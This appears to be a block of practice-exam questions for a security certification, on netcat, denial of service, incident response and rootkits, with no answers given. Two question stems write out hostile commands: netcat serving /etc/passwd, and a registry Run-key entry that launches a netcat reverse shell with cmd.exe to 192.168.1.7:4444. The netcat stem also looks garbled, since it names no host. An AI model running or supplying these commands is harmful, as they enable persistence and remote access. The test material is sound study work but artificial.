Which of the following actions is performed by the netcat command given below?
nc 55555 < /etc/passwd

• A.It changes the /etc/passwd file when connected to the UDP port 55555.
• B.It resets the /etc/passwd file to the UDP port 55555.
• C.It fills the incoming connections to /etc/passwd file.
• D.It grabs the /etc/passwd file when connected to UDP port 55555.

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You discover that all available network bandwidth is being used by some unknown service. You discover that UDP
packets are being used to connect the echo service on one machine to the chargen service on another machine. What
kind of attack is this?

• A.Smurf
• B.Evil Twin
• C.Virus
• D.Denial of Service

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Which of the following procedures is designed to enable security personnel to identify, mitigate, and recover from malicious computer incidents, such as unauthorized access to a system or data, denialof-service, or unauthorized changes to system hardware, software, or data?

• A.Crisis Communication Plan
• B.Occupant Emergency Plan
• C.Disaster Recovery Plan
• D.Cyber Incident Response Plan

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Which of the following rootkits patches, hooks, or replaces system calls with versions that hide information about the attacker?

• A.Library rootkit
• B.Kernel level rootkit
• C.Hypervisor rootkit
• D.Boot loader rootkit

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You run the following command on the remote Windows server 2003 computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d
"c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"
What task do you want to perform by running this command?
Each correct answer represents a complete solution. Choose all that apply.

• A.You want to add the Netcat command to the Windows registry.
• B.You want to set the Netcat to execute command any time.
• C.You want to put Netcat in the stealth mode.
• D.You want to perform banner grabbing.

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